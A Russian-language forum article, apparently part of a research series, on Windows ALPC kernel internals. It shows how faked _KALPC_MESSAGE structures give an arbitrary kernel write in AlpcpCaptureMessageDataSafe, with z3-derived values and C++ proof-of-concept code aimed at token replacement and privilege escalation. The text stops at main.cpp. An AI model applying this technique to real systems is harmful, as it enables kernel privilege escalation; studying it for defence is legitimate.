Пожалуйста, обратите внимание, что пользователь заблокирован
Содержание
1. Введение
2. Что такое ALPC?
3. Произвольная запись и чтение в ядре
4. SMT-решатель, порешай за меня
5. Создаем фейковые структуры _KALPC_MESSAGE, _KALPC_RESERVE
6. Стучимся в ALPC-порт и шлем сообщение
7. Грязный патч в WinDbg
8. Заключение
9. Источники
Введение
Эта статья является первой в цикле статей про ALPC c последующим переходом к RPC, который будут затрагивать реверс-инжиниринг и документирование базы для IDA, программирование вспомогательного кода, недочеты инструментов статического и динамического анализа и грязные хаки, помогающие понять концепции эксплуатации в ядре. Здесь не будет готовых эксплойтов, но статья может быть полезна тем, кто решил использовать ALPC в разработке таковых или же самостаятельно начать исследовать этот компонент не с нуля. Моя задача заключается в том, чтобы пролить свет на некоторые нюансы, которые нигде не описывались публично и продемонстрировать это в виде PoC.
Что такое ALPC?
ALPC (Advanced/Asynchronous Local Inter-Process Communication)- это высокоскоростной и защищенный менахизм передачи данных (сообщений) между процессами, который является заменой устаревшего IPC и реализуется паттерном клиент-сервер. Справочной информации об этой технологии достаточно и я не буду на ней останавливаться. Перечень используемых материалов будет в конце статьи.
Произвольная запись и чтение в ядре
В недавнем исследовании "The Next Generation of Windows Exploitation: Attacking the Common Log File System" описывался метод произвольной записи при эксплуатации переполнения пула в драйвере clfs.sys при парсинге "вредоносного" лога с последующим повышением привилегий. Основной фишкой этой техники является создание поддельных структур в пространстве пользователя, которые используются подсистемой ALPC вместо легитимных из пространства ядра и таким образом осуществляется перезапись произвольных данных по произвольному адресу с условно произвольным размером.
Происходит это в функции
AlpcpCaptureMessageDataSafe, которую мы сейчас подробно разберем. Хочу отметить, что вышеуказанное исследование не содержит информации о том как мы должны создать поддельные структуры и вызвать соотстветствующую функцию, этому будет посвящена большая часть статьи. На листинге ниже псевдокод функции, который мы сейчас поэтапно разберем.Здесь я не буду касаться того, как привести пул к необходимому состоянию. Речь пойдет только о конечной фазе, когда происходит перезапись произвольной памяти.
C++:
void __fastcall AlpcpCaptureMessageDataSafe(_KALPC_MESSAGE *MessageToDispatch)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
DataUserVa = MessageToDispatch->DataUserVa;
DataLength = (unsigned __int16)MessageToDispatch->PortMessage.u1.s1.DataLength;
Reserve = MessageToDispatch->Reserve; // Мы должны создать поддельную структуру _KALPC_RESERVE в пространстве пользователя
if ( Reserve ) // 1. Первое условие
MessageBufferSize = Reserve->Size - 0x28;
else
MessageBufferSize = 0x200i64;
if ( DataLength <= MessageBufferSize ) // 2. Второе условие
{
if ( DataUserVa ) // Мы не можем использовать этот путь для произвольной записи из-за ошибки BAD_POOL_CALLER.
// Мы будем вызывать ExFreePoolWithTag с адресом токена процесса, который не обрабатывается.
//
// UPD.
//
// DataUserVa может быть адресом KM, а OutputBuffer может
// быть UM-адресом (фальшивым _KALPC_MESSAGE), который дает нам примитив на чтение размером <= 0x200 байт?
memmove(&MessageToDispatch[1], DataUserVa, DataLength);// @rcx+0x118 — фактический буфер сообщения ядра, куда мы копируем данные UM PortMessage.
ExtensionBuffer = MessageToDispatch->ExtensionBuffer;
if ( ExtensionBuffer ) // Нам не нужен ExtensionBuffer для произвольного чтения.
// Поэтому рекомендуется использовать значение NULL, чтобы пропустить необрабатываемый вызов ExFreePoolWithtag.
{
ExFreePoolWithTag(ExtensionBuffer, 'BElA');
MessageToDispatch->ExtensionBuffer = 0i64;
QuotaProcess = MessageToDispatch->QuotaProcess;
if ( QuotaProcess )
AlpcpReleasePagedPoolQuota(QuotaProcess, MessageToDispatch->ExtensionBufferSize);
MessageToDispatch->ExtensionBufferSize = 0i64;
}
return;
}
if ( DataLength > 0xFFD7 ) // 3. Третье условие
return;
ExtensionBufferSize = MessageToDispatch->ExtensionBufferSize;
if ( DataLength <= ExtensionBufferSize + MessageBufferSize )// 4. Четвертое условие
goto ExtensionBufferWrite;
ExtBuf = MessageToDispatch->ExtensionBuffer;
if ( ExtBuf )
{
ExFreePoolWithTag(ExtBuf, 'BElA');
MessageToDispatch->ExtensionBufferSize = 0i64;
}
v10 = DataLength - MessageBufferSize;
ExtensionPoolBuffer = ExAllocatePool2(0x100ui64, DataLength - MessageBufferSize, 'BElA');
MessageToDispatch->ExtensionBuffer = ExtensionPoolBuffer;
QuotaProcess = MessageToDispatch->QuotaProcess;
if ( ExtensionPoolBuffer )
{
MessageToDispatch->ExtensionBufferSize = v10;
if ( QuotaProcess && (int)AlpcpChargePagedPoolQuota(&QuotaProcess->Pcb, v10 - ExtensionBufferSize) < 0 )
{
ExFreePoolWithTag(MessageToDispatch->ExtensionBuffer, 'BElA');
MessageToDispatch->ExtensionBuffer = 0i64;
MessageToDispatch->ExtensionBufferSize = 0i64;
AlpcpReleasePagedPoolQuota(MessageToDispatch->QuotaProcess, ExtensionBufferSize);
return;
}
ExtensionBufferWrite: // Нам нужно использовать этот путь для произвольной записи
if ( DataUserVa )
{
memmove(&MessageToDispatch[1], DataUserVa, MessageBufferSize);
memmove(MessageToDispatch->ExtensionBuffer, (char *)DataUserVa + MessageBufferSize, DataLength - MessageBufferSize); // PROBLEM!
// Возможно ли аккуратно перезписать 1 байт в _KTHREAD->PreviousMode
// для получения примитива r/w?
//
// UPD. Да, возможно. Ниже вывод из z3
//
// In [120]: z3.solve(Size >= 0x28, \
// ...: MessageBufferSize == Size - 0x28, \
// ...: DataLength >= MessageBufferSize, \
// ...: DataLength < 0xFFD8, \
// ...: DataLength >= MessageBufferSize, \
// ...: DataLength <= ExtensionBufferSize + MessageBufferSize, \
// ...: DataLength - MessageBufferSize == 1)
// [DataLength = 1,
// ExtensionBufferSize = 1,
// Size = 40,
// MessageBufferSize = 0]
}
return;
}
if ( QuotaProcess )
AlpcpReleasePagedPoolQuota(QuotaProcess, ExtensionBufferSize);
}
Собственно, в этой функции происходит копирование входящих данных в системный буфер. В зависимости от размера могут использоваться разные типы буферов. В пользовательском режиме мы используем структуру
PORT_MESSAGE для отправки сообщения, KALPC_MESSAGE - это системное представление сообщения. В какой-то момент в ядре происходит выделение памяти под эту структуру и часть ее полей инициализируется данными из PORT_MESSAGE. В действительности сообщение находится не в самой структуре, а после нее, перечисленные структуры служат лишь заголовками. Например, полноценное сообщение в пользовательском режиме может выглядеть так:
C++:
// Пример тестового сообщения
typedef struct _TALPC_PORTMSG {
PORT_MESSAGE Header;
ULONG64 Data[TEST_MESSAGE_SIZE];
}TALPC_PORTMSG, *PTALPC_PORTMSG;
В ядре сообщение будет выглядеть похожим образом:
C++:
// Представление сообщения в пространстве ядра
typedef struct _KALPC_PORTMSG {
_KALPC_MESSAGE Header;
// В Data будут копироваться данные из аналогичного буфера в UM
UCHAR Data[0x200]
}
Стандартная длина сообщения = 0x200 байт. Если размер сообщения больше 0x200 и меньше 0xFFD7 (0xFFFF - sizeof(PORT_MESSAGE)), то используется расширенный буфер, в структуре
KALPC_MESSAGE - это поле ExtensionBuffer. Есть еще третий буфер, который описывается структурой KALPC_RESERVE - это BLOB, также выделяемый системой. Эта информация пригодится, когда мы будем конструировать поддельные структуры.Произвольная запись производится в блоке кода на листинге ниже, а точнее во втором вызове
memmove:
C++:
// Мы должны попасть в этот блок для произвольной записи
ExtensionBufferWrite:
if ( DataUserVa )
{
memmove(&MessageToDispatch[1], DataUserVa, MessageBufferSize);
memmove(MessageToDispatch->ExtensionBuffer, (char *)DataUserVa + MessageBufferSize, DataLength - MessageBufferSize); // Здесь
}
return;
DataUserVa - это UM указатель на буфер сообщения (массив Data на примере выше в структуре
_TALPC_PORTMSG). Указав произвольный ядерный адрес в ExtensionBuffer, мы можем копировать данные из сообщения произвольного размера. На этом очевидное заканчивается и начинается невероятное. Мы должны соблюсти несколько условий, чтобы вызвать вышеуказанный код.
C++:
// 1. Первое условие
if ( Reserve )
MessageBufferSize = Reserve->Size - 0x28;
Во-первых, мы должны будем создать поддельную структуру
_KALPC_RESERVE, чтобы выполнить первое условие. Структуры _KALPC_MESSAGE и _KALPC_RESERVE имеют поля с указателями друг на друга по смещениям 0x60 и 0x18 соответственно. Также мы должны инициализировать поле Size в поддельной структуре _KALPC_RESERVE т.к.результат вычисления, сохраненный в переменную MessageBufferSize будет использоваться в дальнейшем.
0: kd> dt nt!_KALPC_MESSAGE
+0x000 Entry : _LIST_ENTRY
+0x010 PortQueue : Ptr64 _ALPC_PORT
+0x018 OwnerPort : Ptr64 _ALPC_PORT
+0x020 WaitingThread : Ptr64 _ETHREAD
+0x028 u1 : <unnamed-tag>
+0x02c SequenceNo : Int4B
+0x030 QuotaProcess : Ptr64 _EPROCESS
+0x030 QuotaBlock : Ptr64 Void
+0x038 CancelSequencePort : Ptr64 _ALPC_PORT
+0x040 CancelQueuePort : Ptr64 _ALPC_PORT
+0x048 CancelSequenceNo : Int4B
+0x050 CancelListEntry : _LIST_ENTRY
+0x060 Reserve : Ptr64 _KALPC_RESERVE
+0x068 MessageAttributes : _KALPC_MESSAGE_ATTRIBUTES
+0x0b0 DataUserVa : Ptr64 Void
+0x0b8 CommunicationInfo : Ptr64 _ALPC_COMMUNICATION_INFO
+0x0c0 ConnectionPort : Ptr64 _ALPC_PORT
+0x0c8 ServerThread : Ptr64 _ETHREAD
+0x0d0 WakeReference : Ptr64 Void
+0x0d8 WakeReference2 : Ptr64 Void
+0x0e0 ExtensionBuffer : Ptr64 Void
+0x0e8 ExtensionBufferSize : Uint8B
+0x0f0 PortMessage : _PORT_MESSAGE
0: kd> dt nt!_KALPC_RESERVE
+0x000 OwnerPort : Ptr64 _ALPC_PORT
+0x008 HandleTable : Ptr64 _ALPC_HANDLE_TABLE
+0x010 Handle : Ptr64 Void
+0x018 Message : Ptr64 _KALPC_MESSAGE
+0x020 Size : Uint8B
+0x028 Active : Int4B
+0x000 Entry : _LIST_ENTRY
+0x010 PortQueue : Ptr64 _ALPC_PORT
+0x018 OwnerPort : Ptr64 _ALPC_PORT
+0x020 WaitingThread : Ptr64 _ETHREAD
+0x028 u1 : <unnamed-tag>
+0x02c SequenceNo : Int4B
+0x030 QuotaProcess : Ptr64 _EPROCESS
+0x030 QuotaBlock : Ptr64 Void
+0x038 CancelSequencePort : Ptr64 _ALPC_PORT
+0x040 CancelQueuePort : Ptr64 _ALPC_PORT
+0x048 CancelSequenceNo : Int4B
+0x050 CancelListEntry : _LIST_ENTRY
+0x060 Reserve : Ptr64 _KALPC_RESERVE
+0x068 MessageAttributes : _KALPC_MESSAGE_ATTRIBUTES
+0x0b0 DataUserVa : Ptr64 Void
+0x0b8 CommunicationInfo : Ptr64 _ALPC_COMMUNICATION_INFO
+0x0c0 ConnectionPort : Ptr64 _ALPC_PORT
+0x0c8 ServerThread : Ptr64 _ETHREAD
+0x0d0 WakeReference : Ptr64 Void
+0x0d8 WakeReference2 : Ptr64 Void
+0x0e0 ExtensionBuffer : Ptr64 Void
+0x0e8 ExtensionBufferSize : Uint8B
+0x0f0 PortMessage : _PORT_MESSAGE
0: kd> dt nt!_KALPC_RESERVE
+0x000 OwnerPort : Ptr64 _ALPC_PORT
+0x008 HandleTable : Ptr64 _ALPC_HANDLE_TABLE
+0x010 Handle : Ptr64 Void
+0x018 Message : Ptr64 _KALPC_MESSAGE
+0x020 Size : Uint8B
+0x028 Active : Int4B
Второе условие мы должны обойти т.е. результат должен быть противоположным:
C++:
// В действительности DataLength должно быть => MessageBufferSize
if ( DataLength <= MessageBufferSize )
Значение переменной DataLength мы можем контролировать, т.к. оно инициализируется в структуре
_KALPC_MESSAGE, которую мы будем подделывать.
C++:
DataLength = MessageToDispatch->PortMessage.u1.s1.DataLength;
Третье условие идет на целочисленное переполнение т.к. значение DataLength - это 16-битовое число.
C++:
if ( DataLength > 0xFFD7 )
return;
Выполнение четвертого условия перенаправляет нас на нужный участок кода с
memmove:
C++:
// 4. Четвертое условие
if ( DataLength <= ExtensionBufferSize + MessageBufferSize )
goto ExtensionBufferWrite;
Значение ExtensionBuferSize мы также контролируем в структуре
_KALPC_MESSAGE.
C++:
ExtensionBufferSize = MessageToDispatch->ExtensionBufferSize;
И наконец мы должны передать значения Size, DataLength, ExtensionBufferSize таким образом, чтобы контролировать размер при вызове
memmove в третьем аргументе. Взглянем на эту строчку детальнее.
C++:
memmove(MessageToDispatch->ExtensionBuffer, (char *)DataUserVa + MessageBufferSize, DataLength - MessageBufferSize);
Результат вычитания
DataLength - MessageBufferSize напрямую зависит от того какой размер полезной нагрузки мы будем использовать. В качестве эксперимента я предлагаю использовать значение поля EPROCESS->Token системного процесса, размер которого 8 байт. Мы также можем попробовать перезаписать 1 байт в ETHREAD->PreviousMode, чтобы иметь возможность вызывать в дальнейшем NtReadVirtualMemory, NtWriteVirtualMemory без ограничений, имея мощный примитив на чтение и запись всей памяти. Это задание я оставлю для читателей.В новых тестовых сборках Windows 11 этот метод больше не работает. Я не знаю
как сейчас обстоят дела в релизных сборках.
как сейчас обстоят дела в релизных сборках.
Итого мы должны удовлетворить следующие условия:
1. Size >= 0x28
2. MessageBufferSize == Size - 0x28
3. DataLength >= MessageBufferSize
4. DataLength < 0xFFD8
5. DataLength >= MessageBufferSize
6. DataLength <= ExtensionBufferSize + MessageBufferSize
7. DataLength - MessageBufferSize == 8)
SMT-решатель, порешай за меня
Признаться честно, я сначала вручную решал этот пример, но потом вспомнил про z3 и использовал библиотеку z3py. Если коротко, то z3 позволяет решать такие системы уравнений и неравенств. На мой взгляд, это очень удобно и легко реализуемо.
Python:
import z3
# Инициализируем переменные типов Real, которые потом будут использоваться
# решателем
Size = z3.Real('Size')
MessageBufferSize = z3.Real('MessageBufferSize')
DataLength = z3.Real('DataLength')
ExtensionBufferSize = z3.Real('ExtensionBufferSize')
# Передаем наши условия решателю
z3.solve(Size >= 0x28, \
MessageBufferSize == Size - 0x28, \
DataLength >= MessageBufferSize, \
DataLength < 0xFFD8, \
DataLength >= MessageBufferSize, \
DataLength <= ExtensionBufferSize + MessageBufferSize, \
DataLength - MessageBufferSize == 8)
"""
Output:
[ExtensionBufferSize = 8,
MessageBufferSize = 0,
Size = 40,
DataLength = 8]
"""
Теперь мы знаем какими значениями должны инициализировать поля структур
_KALPC_MESSAGE, _KALPC_RESERVE, чтобы выполнить нужный кусок кода.Создаем фейковые структуры _KALPC_MESSAGE, _KALPC_RESERVE
Я не нашел на просторах Интернета заголовочного файла, описывающего нужные структуры, поэтому мы создадим их сами. Для этой задачи я воспользуюсь расширением для WinDbg - 0cchext. В нем есть полезная команда, которая выводит на экран структуры в C-представлении. Единственный минус этой утилиты в том, что она не совсем корректно работает с перечислениями и мне пришлось некоторые достраивать самому. Поскольку структура
_KALPC_MESSAGE имеет глубокую вложенность и большой размер, я прибегнул к грязному хаку и заменил некоторые ненужные указатели на системные структуры просто указателями типа void или таким образом, чтобы сохранить ясность, как на примере ниже:
C++:
typedef struct _EPROCESS* PEPROCESS;
typedef struct _ETHREAD* PETHREAD;
Это никак не повлияет на работу нашего кода, зато избавит от конструирования громоздкого заголовочного файла и ошибок компилятора.
C++:
struct _KALPC_RESERVE {
_ALPC_PORT* OwnerPort;
_ALPC_HANDLE_TABLE* HandleTable;
VOID* Handle;
VOID* Message;
__int64 Size;
DWORD Active;
};
struct _KALPC_MESSAGE {
_LIST_ENTRY Entry;
_ALPC_PORT* PortQueue;
_ALPC_PORT* OwnerPort;
_ETHREAD* WaitingThread;
union
{
struct
{
unsigned int QueueType : 3;
unsigned int QueuePortType : 4;
unsigned int Canceled : 1;
unsigned int Ready : 1;
unsigned int ReleaseMessage : 1;
unsigned int SharedQuota : 1;
unsigned int ReplyWaitReply : 1;
unsigned int OwnerPortReference : 1;
unsigned int ReceiverReference : 1;
unsigned int ViewAttributeRetrieved : 1;
unsigned int ViewAttributeDeleteOnRelease : 1;
unsigned int InDispatch : 1;
unsigned int InCanceledQueue : 1;
}s1;
DWORD State;
}u1;
DWORD SequenceNo;
union {
_EPROCESS* QuotaProcess;
VOID* QuotaBlock;
};
_ALPC_PORT* CancelSequencePort;
_ALPC_PORT* CancelQueuePort;
DWORD CancelSequenceNo;
_LIST_ENTRY CancelListEntry;
_KALPC_RESERVE* Reserve;
_KALPC_MESSAGE_ATTRIBUTES MessageAttributes;
VOID* DataUserVa;
_ALPC_COMMUNICATION_INFO* CommunicationInfo;
_ALPC_PORT* ConnectionPort;
_ETHREAD* ServerThread;
VOID* WakeReference;
VOID* WakeReference2;
VOID* ExtensionBuffer;
__int64 ExtensionBufferSize;
_PORT_MESSAGE PortMessage;
};
Да, можно использовать арифметику указателей в коде и без структур, но лично мне всегда было неприятно читать такой код, поэтому мы будем использовать по-человечески структуры.
C++:
/*!
\brief Инициализируем поля для поддельных структур _KALPC_MESSAGE и _KALPC_RESERVE.
*/
void InitFakeStructs()
{
HANDLE hProcHeap = GetProcessHeap();
// Ядерным отладчиком я проверял совпадение размеров структур.
// Visual Studio показывает размер при наведении на sizeof, что удобно.
// kd> ?? sizeof(nt!_KALPC_MESSAGE) unsigned int64 0x118
auto fake_message = (_KALPC_MESSAGE*)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, (sizeof(_KALPC_MESSAGE)));
//kd> ?? sizeof(nt!_KALPC_RESERVE) unsigned int64 0x30
auto fake_reserve = (_KALPC_RESERVE*)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, (sizeof(_KALPC_RESERVE)));
auto DataUserVa = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x1000);
/* From z3
[ExtensionBufferSize = 8,
MessageBufferSize = 0,
Size = 40,
DataLength = 8]
*/
// Здесь будет значение системного токена
*((__int64*)DataUserVa) = 0xffffb8864fe35088;
// Инициализируем необходимые поля
fake_message->DataUserVa = DataUserVa;
fake_message->Reserve = fake_reserve;
fake_reserve->Message = fake_message;
fake_reserve->Size = 40;
fake_message->PortMessage.u1.s1.DataLength = 8;
fake_message->ExtensionBufferSize = 8;
// AlpcMsg->ExtensionBuffer - это адрес токена процесса cmd.exe
auto CurrentTokenAddr = ULongLongToPtr64(0xffffa389ca6d4578);
fake_message->ExtensionBuffer = CurrentTokenAddr;
__debugbreak();
printf("fake_message address: 0x%p\n", fake_message)
CloseHandle(hProcHeap);
}
Пара моментов. Мы не можем просто взять и получить значение системного токена из UM. Мы его получим, используя грязный патч в WinDbg, когда будем тестировать подмену структуры. Это лишь пример, а не эксплойт. Однако, мы можем получить адрес токена вызывающего (или любого другого) процесса посредством
NtQuerySystemInformation, но мне было лень писать код, поэтому этот адрес мы также получим грязным способом. Если кому-то он будет необходим, то так и быть я его выложу потом, хотя метод вроде как известный. К слову, прелесть ALPC заключается в том, что уязвимости в этом компоненте могут использоваться из песочниц (Chrome, Firefox, Adobe Reader и т.д.) Нередко они используются в цепочке с уязвимостями в браузерах для "побега из песочницы" с последующими атаками в ядре. В коммерческих эксплойтах подобных типов вы наврятли будете использовать вышеуказанный метод для получения ядерного адреса токена т.к. он просто не будет работать из песочницы. Потребуется иной примитив на чтение. Но для Medium IL и такой способ подойдет.Стучимся в ALPC-порт и шлём сообщение
Как уже упоминалось ранее ALPC реализован паттерном клиент-сервер. В упрощенной схеме процесс-сервер создает ALPC-порт и получает хэндл для взаимодействия с портом, а процесс-клиент отправляет/получает сообщение в порт с этим хэндлом. Сервер вправе ограничить количество подключений, ограничить доступ по SID или фильтровать сообщения. Для нашей задачи нам потребуются две функции -
NtAlpcConnectPort для получения хэндла порта сервера и NtAlpcSendWaitReceivePort для отправки сообщения.В качестве цели я выбрал порт DNSResolver, т.к. у него было большое количество подключений и были права на подключение. Весь список портов можно посмотреть утилитой WinObjEx.


Несмотря на то, что приватные функции и структуры недокументированы, прототипы сисколов присутствуют в исходных кодах Process Hacker (ныне System Informer). В заголовочном файле ниже определены все необходимые типы для работы клиента.
C++:
#pragma once
#include "common.h"
NTSTATUS SendMsg(IN HANDLE hConn);
typedef struct _ALPC_PORT_ATTRIBUTES
{
ULONG Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
SIZE_T MaxMessageLength;
SIZE_T MemoryBandwidth;
SIZE_T MaxPoolUsage;
SIZE_T MaxSectionSize;
SIZE_T MaxViewSize;
SIZE_T MaxTotalSectionSize;
ULONG DupObjectTypes;
ULONG Reserved;
} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES;
constexpr auto ALPC_MESSAGE_SECURITY_ATTRIBUTE = 0x80000000;
constexpr auto ALPC_MESSAGE_VIEW_ATTRIBUTE = 0x40000000;
constexpr auto ALPC_MESSAGE_CONTEXT_ATTRIBUTE = 0x20000000;
constexpr auto ALPC_MESSAGE_HANDLE_ATTRIBUTE = 0x10000000;
constexpr auto ALPC_ATTRFLG_ALLOCATEDATTR = 0x20000000;
constexpr auto ALPC_ATTRFLG_VALIDATTR = 0x40000000;
constexpr auto ALPC_ATTRFLG_KEEPRUNNINGATTR = 0x60000000;
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES;
constexpr auto ALPC_MSGFLG_REPLY_MESSAGE = 0x1;
constexpr auto ALPC_MSGFLG_LPC_MODE = 0x2;
constexpr auto ALPC_MSGFLG_RELEASE_MESSAGE = 0x10000; // dbg
constexpr auto ALPC_MSGFLG_SYNC_REQUEST = 0x20000; // dbg;
constexpr auto ALPC_MSGFLG_TRACK_PORT_REFERENCES = 0x40000;
constexpr auto ALPC_MSGFLG_WAIT_USER_MODE = 0x100000;
constexpr auto ALPC_MSGFLG_WAIT_ALERTABLE = 0x200000;
constexpr auto ALPC_MSGFLG_WOW64_CALL = 0x80000000; // dbg;
using NtAlpcConnectPort = NTSTATUS(WINAPI*)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
_In_ ULONG Flags,
_In_opt_ PSID RequiredServerSid,
_Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) _PORT_MESSAGE* ConnectionMessage,
_Inout_opt_ PULONG BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
using NtAlpcSendWaitReceivePort = NTSTATUS(WINAPI*)(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) _PORT_MESSAGE *SendMessage,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
_Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) _PORT_MESSAGE *ReceiveMessage,
_Inout_opt_ PULONG BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
using AlpcInitializeMessageAttribute = NTSTATUS(WINAPI*)(
_In_ ULONG AttributeFlags,
_Out_opt_ PALPC_MESSAGE_ATTRIBUTES Buffer,
_In_ ULONG BufferSize,
_Out_ PULONG RequiredBufferSize
);
// This is a size of user-mode buffer which is dereferencing later
// in a kernel _KALPC_MESSAGE->DataUserVa
constexpr auto TEST_MESSAGE_SIZE = 0x1;
// Test ALPC client message
typedef struct _TALPC_PORTMSG {
PORT_MESSAGE Header;
ULONG64 Data[TEST_MESSAGE_SIZE];
}TALPC_PORTMSG, *PTALPC_PORTMSG;
Помимо двух сисколов вы также можете видеть прототип функции
AlpcInitializeMessageAttribute, Мы можем обойтись и без нее, т.к. она всего-навсего инициализирует поле ValidAttributes в структуре _ALPC_MESSAGE_ATTRIBUTES, которая нам потребуется для отправки сообщения. Структуру _TALPC_PORTMSG мы создали с учетом того, какой размер сообщения будем передавать т.е. 8 байт.Передаваемые в функции флаги были определены методом тыка, анализируя вызовы функций в отладчике и IDA Pro. Например, в псевдокоде так выглядит обработка входящих параметров и флагов в
NtAlpcSendWaitReceivePort. Код упрощен, чтобы передать суть.
C++:
DispatchContextFlags = Flags & 0xFFFF0000;
...
if ( (DispatchContextFlags & 0x40000) != 0 )
AlpcpTrackPortReferences((_ALPC_PORT *)Object);
if ( (DispatchContextFlags & 0x20000) != 0 )
{
if ( SendMessage )
{
if ( (DispatchContextFlags & 0x10000) != 0 )
{
status = STATUS_INVALID_PARAMETER_2;
}
else if ( (DispatchContextFlags & 0x1000000) != 0 )
{
status = STATUS_INVALID_PARAMETER_2;
}
else if ( ReceiveMessage )
{
status = AlpcpProcessSynchronousRequest(
DispatchContextPortObject,
DispatchContextFlags,
SendMessage,
SendMessageAttributes,
ReceiveMessage,
BufferLength,
ReceiveMessageAttributes,
Timeout,
PreviousMode);
}
else
{
status = STATUS_LPC_RECEIVE_BUFFER_EXPECTED;
}
}
else
{
status = STATUS_INVALID_PARAMETER_2;
}
}
else
{
if ( !SendMessage )
{
if ( ReceiveMessage )
status = AlpcpReceiveMessage(
&DispatchContext,
ReceiveMessage,
BufferLength,
ReceiveMessageAttributes,
Timeout);
}
if ( (DispatchContextFlags & 0x1000000) != 0 )
{
status = STATUS_INVALID_PARAMETER_2;
}
else
{
status = AlpcpSendMessage(&DispatchContext, SendMessage, SendMessageAttributes, PreviousMode);
}
}
На удивление самым сложным был вызов
NtAlpcConnectPort. Почему-то с передачей OBJECT_ATTRIBUTES были проблемы и сервер отказывался возвращать хэндл.Закапываться в проблему я не стал. Опять-таки отчасти экспериментальным путем удалось корректно вызвать эту функцию. Напишем код обертки.
C++:
/*!
\brief Подключается к ALPC-порту по имени
\param ServerName Имя порта ALPC-сервера
\return Хэндл порта сервера, если успех, NULL если ошибка
*/
HANDLE Connect(IN LPCWSTR ServerName)
{
HANDLE hConn;
UNICODE_STRING PortName;
NTSTATUS status;
ULONG BufferLength = sizeof(PORT_MESSAGE);
RtlInitUnicodeString(&PortName, ServerName);
auto pfn_NtAlpcConnectPort = reinterpret_cast<NtAlpcConnectPort>(GetProcAddrNtdll("NtAlpcConnectPort"));
status = pfn_NtAlpcConnectPort(&hConn, &PortName, 0, 0, 0x20000, 0, 0, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtAlpcConnectPort failed with status = %X\n", status);
return NULL;
}
printf("Connected to Server: %S\n", ServerName);
return hConn;
}
Эта функция просто возвращает хэндл порта сервера - все просто. Далее нам необходимо передать сообщение. Сперва напишем несколько вспомогательных оберток для выделения/освобождения памяти для сообщения.
C++:
PTALPC_PORTMSG AllocMsg()
{
PTALPC_PORTMSG Msg = nulltrp;
auto hProcHeap = GetProcessHeap();
const auto FullMsgSize = sizeof(TALPC_PORTMSG);
auto MsgBuffer = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, FullMsgSize);
if (MsgBuffer)
{
Msg = (PTALPC_PORTMSG)MsgBuffer;
MsgBuffer = nullptr;
CloseHandle(hProcHeap);
return Msg;
}
CloseHandle(hProcHeap);
return NULL;
}
void FreeMsg(LPVOID MsgBuffer)
{
auto hProcHeap = GetProcessHeap();
HeapFree(hProcHeap, NULL, MsgBuffer);
}
Функция
AllocMsg возвращает указатель типа TALPC_PORTMSG. Если помните, это структура, которую мы определяли для целого сообщения, включающего заголовок и сами данные.И наконец обертка для отправки сообщения.
C++:
/*!
\brief Отправить сообщение на сервер ALPC по его значению дескриптора
\param hConn Дескриптор порта сервера, возвращаемый функцией Connect
\return STATUS_SUCCESS если успех
*/
NTSTATUS SendMsg(IN HANDLE hConn)
{
PPORT_MESSAGE AlpcSendMsg = nullptr;
PPORT_MESSAGE AlpcRecvMsg = nullptr;
ALPC_MESSAGE_ATTRIBUTES AlpcSendMsgAttr = {0};
ALPC_MESSAGE_ATTRIBUTES AlcpRecvMsgAttr = {0};
ULONG RequiredBuffSize;
ULONG BufferLength = sizeof(PORT_MESSAGE);
NTSTATUS status = 0; // assume STATUS_SUCCESS
// Выдееляем и инициализируем полное сообщение
PTALPC_PORTMSG ConnMsg = AllocMsg();
ConnMsg->Data[0] = 0x4141414141414141;
ConnMsg->Header.u1.s1.DataLength = sizeof(ConnMsg->Data);
ConnMsg->Header.u1.s1.TotalLength = sizeof(ConnMsg->Data) + sizeof(ConnMsg->Header);
// Initialize AlpcSendMsg
AlpcSendMsg = &ConnMsg->Header;
// Инициализируем AlpcSendMsgAttr
auto pfn_AlpcInitializeMessageAttribute = reinterpret_cast<AlpcInitializeMessageAttribute>(GetProcAddrNtdll("AlpcInitializeMessageAttribute"));
status = pfn_AlpcInitializeMessageAttribute(ALPC_ATTRFLG_ALLOCATEDATTR, &AlpcSendMsgAttr, /*Reversed test value*/ 0xA0 , &RequiredBuffSize);
if (!NT_SUCCESS(status))
{
printf("AlpcInitializeMessageAttribute failed with status = %X:\n", status);
return status;
}
// Пробуем отправить сообщение и вызвать AlpcpCaptureMessageDataSafe в ядре, чтобы перехватить поддельное сообщение
auto pfn_NtAlpcSendWaitReceivePort = reinterpret_cast<NtAlpcSendWaitReceivePort>(GetProcAddrNtdll("NtAlpcSendWaitReceivePort"));
status = pfn_NtAlpcSendWaitReceivePort(hConn, AlpcSendMsgAttr.AllocatedAttributes, AlpcSendMsg, &AlpcSendMsgAttr, NULL, &BufferLength, NULL, NULL);
if (!NT_SUCCESS(status))
{
printf("NtAlpcSendWaitReceivePort failed with status = %X:\n", status);
return status;
}
FreeMsg(ConnMsg);
return status;
}
Здесь мы инициализируем необходимые структуры для корректного вызова. Сообщение ConnMsg должно соответствовать минимальным требованиям валидности, далее мы будем осуществлять его подмену в ядре. Напомню, что в ядре сообщение представлено системной структурой
_KALPC_MESSAGE.Завершим все созданием main.cpp и функцией main.
C++:
#include "common.h"
